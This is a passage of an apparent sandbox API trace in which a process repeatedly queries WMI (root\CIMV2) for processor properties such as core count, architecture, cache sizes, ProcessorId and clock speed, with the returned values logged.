SysStringByteLen (bstr="Intel64 Family 6 Model 106 Stepping 6") returned 0x4a [0156.851] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.852] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.852] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.852] IWbemClassObject:Get (in: This=0x1b349310, wszName="NumberOfCores", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac0190*=0, plFlavor=0x2ac0194*=0 | out: pVal=0x1b0bc630*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), pType=0x2ac0190*=19, plFlavor=0x2ac0194*=0) returned 0x0 [0156.852] IWbemClassObject:Get (in: This=0x1b349310, wszName="NumberOfCores", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac0190*=19, plFlavor=0x2ac0194*=0 | out: pVal=0x1b0bc680*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), pType=0x2ac0190*=19, plFlavor=0x2ac0194*=0) returned 0x0 [0156.854] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.854] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.854] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.854] IWbemClassObject:Get (in: This=0x1b349310, wszName="NumberOfCores", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac05b0*=0, plFlavor=0x2ac05b4*=0 | out: pVal=0x1b0bc630*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), pType=0x2ac05b0*=19, plFlavor=0x2ac05b4*=0) returned 0x0 [0156.854] IWbemClassObject:Get (in: This=0x1b349310, wszName="NumberOfCores", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac05b0*=19, plFlavor=0x2ac05b4*=0 | out: pVal=0x1b0bc680*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), pType=0x2ac05b0*=19, plFlavor=0x2ac05b4*=0) returned 0x0 [0156.855] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.855] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.855] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.855] IWbemClassObject:Get (in: This=0x1b349310, wszName="NumberOfLogicalProcessors", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac0988*=0, plFlavor=0x2ac098c*=0 | out: pVal=0x1b0bc630*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), pType=0x2ac0988*=19, plFlavor=0x2ac098c*=0) returned 0x0 [0156.855] IWbemClassObject:Get (in: This=0x1b349310, wszName="NumberOfLogicalProcessors", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac0988*=19, plFlavor=0x2ac098c*=0 | out: pVal=0x1b0bc680*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), pType=0x2ac0988*=19, plFlavor=0x2ac098c*=0) returned 0x0 [0156.855] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.855] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.855] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.855] IWbemClassObject:Get (in: This=0x1b349310, wszName="NumberOfLogicalProcessors", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac0a60*=0, plFlavor=0x2ac0a64*=0 | out: pVal=0x1b0bc630*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), pType=0x2ac0a60*=19, plFlavor=0x2ac0a64*=0) returned 0x0 [0156.855] IWbemClassObject:Get (in: This=0x1b349310, wszName="NumberOfLogicalProcessors", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac0a60*=19, plFlavor=0x2ac0a64*=0 | out: pVal=0x1b0bc680*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4, varVal2=0x0), pType=0x2ac0a60*=19, plFlavor=0x2ac0a64*=0) returned 0x0 [0156.855] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.855] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.856] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.856] IWbemClassObject:Get (in: This=0x1b349310, wszName="Architecture", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac0bd8*=0, plFlavor=0x2ac0bdc*=0 | out: pVal=0x1b0bc630*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), pType=0x2ac0bd8*=18, plFlavor=0x2ac0bdc*=0) returned 0x0 [0156.856] IWbemClassObject:Get (in: This=0x1b349310, wszName="Architecture", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac0bd8*=18, plFlavor=0x2ac0bdc*=0 | out: pVal=0x1b0bc680*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), pType=0x2ac0bd8*=18, plFlavor=0x2ac0bdc*=0) returned 0x0 [0156.856] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.856] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.856] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.856] IWbemClassObject:Get (in: This=0x1b349310, wszName="Architecture", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac0cb0*=0, plFlavor=0x2ac0cb4*=0 | out: pVal=0x1b0bc630*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), pType=0x2ac0cb0*=18, plFlavor=0x2ac0cb4*=0) returned 0x0 [0156.856] IWbemClassObject:Get (in: This=0x1b349310, wszName="Architecture", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac0cb0*=18, plFlavor=0x2ac0cb4*=0 | out: pVal=0x1b0bc680*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), pType=0x2ac0cb0*=18, plFlavor=0x2ac0cb4*=0) returned 0x0 [0156.857] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.857] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.857] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.857] IWbemClassObject:Get (in: This=0x1b349310, wszName="L2CacheSize", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac0e40*=0, plFlavor=0x2ac0e44*=0 | out: pVal=0x1b0bc630*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac0e40*=19, plFlavor=0x2ac0e44*=32) returned 0x0 [0156.858] IWbemClassObject:Get (in: This=0x1b349310, wszName="L2CacheSize", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac0e40*=19, plFlavor=0x2ac0e44*=32 | out: pVal=0x1b0bc680*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac0e40*=19, plFlavor=0x2ac0e44*=32) returned 0x0 [0156.858] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.858] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.858] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.858] IWbemClassObject:Get (in: This=0x1b349310, wszName="L3CacheSize", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac0fb8*=0, plFlavor=0x2ac0fbc*=0 | out: pVal=0x1b0bc630*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac0fb8*=19, plFlavor=0x2ac0fbc*=0) returned 0x0 [0156.858] IWbemClassObject:Get (in: This=0x1b349310, wszName="L3CacheSize", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac0fb8*=19, plFlavor=0x2ac0fbc*=0 | out: pVal=0x1b0bc680*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac0fb8*=19, plFlavor=0x2ac0fbc*=0) returned 0x0 [0156.862] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.862] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.862] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.862] IWbemClassObject:Get (in: This=0x1b349310, wszName="L3CacheSize", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac1660*=0, plFlavor=0x2ac1664*=0 | out: pVal=0x1b0bc630*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac1660*=19, plFlavor=0x2ac1664*=0) returned 0x0 [0156.863] IWbemClassObject:Get (in: This=0x1b349310, wszName="L3CacheSize", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac1660*=19, plFlavor=0x2ac1664*=0 | out: pVal=0x1b0bc680*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac1660*=19, plFlavor=0x2ac1664*=0) returned 0x0 [0156.863] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.863] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.863] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.863] IWbemClassObject:Get (in: This=0x1b349310, wszName="DeviceID", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac1880*=0, plFlavor=0x2ac1884*=0 | out: pVal=0x1b0bc630*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CPU0", varVal2=0x0), pType=0x2ac1880*=8, plFlavor=0x2ac1884*=0) returned 0x0 [0156.863] SysStringByteLen (bstr="CPU0") returned 0x8 [0156.863] SysStringByteLen (bstr="CPU0") returned 0x8 [0156.864] IWbemClassObject:Get (in: This=0x1b349310, wszName="DeviceID", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac1880*=8, plFlavor=0x2ac1884*=0 | out: pVal=0x1b0bc680*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CPU0", varVal2=0x0), pType=0x2ac1880*=8, plFlavor=0x2ac1884*=0) returned 0x0 [0156.864] SysStringByteLen (bstr="CPU0") returned 0x8 [0156.864] SysStringByteLen (bstr="CPU0") returned 0x8 [0156.864] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.864] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.864] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.864] IWbemClassObject:Get (in: This=0x1b349310, wszName="DeviceID", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac1948*=0, plFlavor=0x2ac194c*=0 | out: pVal=0x1b0bc630*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CPU0", varVal2=0x0), pType=0x2ac1948*=8, plFlavor=0x2ac194c*=0) returned 0x0 [0156.864] SysStringByteLen (bstr="CPU0") returned 0x8 [0156.864] SysStringByteLen (bstr="CPU0") returned 0x8 [0156.864] IWbemClassObject:Get (in: This=0x1b349310, wszName="DeviceID", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac1948*=8, plFlavor=0x2ac194c*=0 | out: pVal=0x1b0bc680*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="CPU0", varVal2=0x0), pType=0x2ac1948*=8, plFlavor=0x2ac194c*=0) returned 0x0 [0156.864] SysStringByteLen (bstr="CPU0") returned 0x8 [0156.864] SysStringByteLen (bstr="CPU0") returned 0x8 [0156.864] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.864] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.864] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.864] IWbemClassObject:Get (in: This=0x1b349310, wszName="ProcessorId", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac1aa8*=0, plFlavor=0x2ac1aac*=0 | out: pVal=0x1b0bc630*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF000606A6", varVal2=0x0), pType=0x2ac1aa8*=8, plFlavor=0x2ac1aac*=0) returned 0x0 [0156.865] SysStringByteLen (bstr="0F8BFBFF000606A6") returned 0x20 [0156.865] SysStringByteLen (bstr="0F8BFBFF000606A6") returned 0x20 [0156.865] IWbemClassObject:Get (in: This=0x1b349310, wszName="ProcessorId", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac1aa8*=8, plFlavor=0x2ac1aac*=0 | out: pVal=0x1b0bc680*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF000606A6", varVal2=0x0), pType=0x2ac1aa8*=8, plFlavor=0x2ac1aac*=0) returned 0x0 [0156.865] SysStringByteLen (bstr="0F8BFBFF000606A6") returned 0x20 [0156.865] SysStringByteLen (bstr="0F8BFBFF000606A6") returned 0x20 [0156.865] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.865] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.865] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.865] IWbemClassObject:Get (in: This=0x1b349310, wszName="ProcessorId", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac1ba0*=0, plFlavor=0x2ac1ba4*=0 | out: pVal=0x1b0bc630*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF000606A6", varVal2=0x0), pType=0x2ac1ba0*=8, plFlavor=0x2ac1ba4*=0) returned 0x0 [0156.865] SysStringByteLen (bstr="0F8BFBFF000606A6") returned 0x20 [0156.865] SysStringByteLen (bstr="0F8BFBFF000606A6") returned 0x20 [0156.865] IWbemClassObject:Get (in: This=0x1b349310, wszName="ProcessorId", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac1ba0*=8, plFlavor=0x2ac1ba4*=0 | out: pVal=0x1b0bc680*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="0F8BFBFF000606A6", varVal2=0x0), pType=0x2ac1ba0*=8, plFlavor=0x2ac1ba4*=0) returned 0x0 [0156.865] SysStringByteLen (bstr="0F8BFBFF000606A6") returned 0x20 [0156.865] SysStringByteLen (bstr="0F8BFBFF000606A6") returned 0x20 [0156.865] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.865] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.866] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.866] IWbemClassObject:Get (in: This=0x1b349310, wszName="ExtClock", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac1d20*=0, plFlavor=0x2ac1d24*=0 | out: pVal=0x1b0bc630*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac1d20*=19, plFlavor=0x2ac1d24*=32) returned 0x0 [0156.866] IWbemClassObject:Get (in: This=0x1b349310, wszName="ExtClock", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac1d20*=19, plFlavor=0x2ac1d24*=32 | out: pVal=0x1b0bc680*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac1d20*=19, plFlavor=0x2ac1d24*=32) returned 0x0 [0156.866] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.866] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.866] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.866] IWbemClassObject:Get (in: This=0x1b349310, wszName="CurrentClockSpeed", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac1e58*=0, plFlavor=0x2ac1e5c*=0 | out: pVal=0x1b0bc630*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x95a, varVal2=0x0), pType=0x2ac1e58*=19, plFlavor=0x2ac1e5c*=0) returned 0x0 [0156.866] IWbemClassObject:Get (in: This=0x1b349310, wszName="CurrentClockSpeed", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac1e58*=19, plFlavor=0x2ac1e5c*=0 | out: pVal=0x1b0bc680*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x95a, varVal2=0x0), pType=0x2ac1e58*=19, plFlavor=0x2ac1e5c*=0) returned 0x0 [0156.866] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.866] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.866] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.866] IWbemClassObject:Get (in: This=0x1b349310, wszName="CurrentClockSpeed", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac1f30*=0, plFlavor=0x2ac1f34*=0 | out: pVal=0x1b0bc630*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x95a, varVal2=0x0), pType=0x2ac1f30*=19, plFlavor=0x2ac1f34*=0) returned 0x0 [0156.867] IWbemClassObject:Get (in: This=0x1b349310, wszName="CurrentClockSpeed", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac1f30*=19, plFlavor=0x2ac1f34*=0 | out: pVal=0x1b0bc680*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x95a, varVal2=0x0), pType=0x2ac1f30*=19, plFlavor=0x2ac1f34*=0) returned 0x0 [0156.869] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.869] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.869] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.869] IWbemClassObject:Get (in: This=0x1b349310, wszName="Revision", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac25a0*=0, plFlavor=0x2ac25a4*=0 | out: pVal=0x1b0bc630*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6a06, varVal2=0x0), pType=0x2ac25a0*=18, plFlavor=0x2ac25a4*=0) returned 0x0 [0156.869] IWbemClassObject:Get (in: This=0x1b349310, wszName="Revision", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2ac25a0*=18, plFlavor=0x2ac25a4*=0 | out: pVal=0x1b0bc680*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6a06, varVal2=0x0), 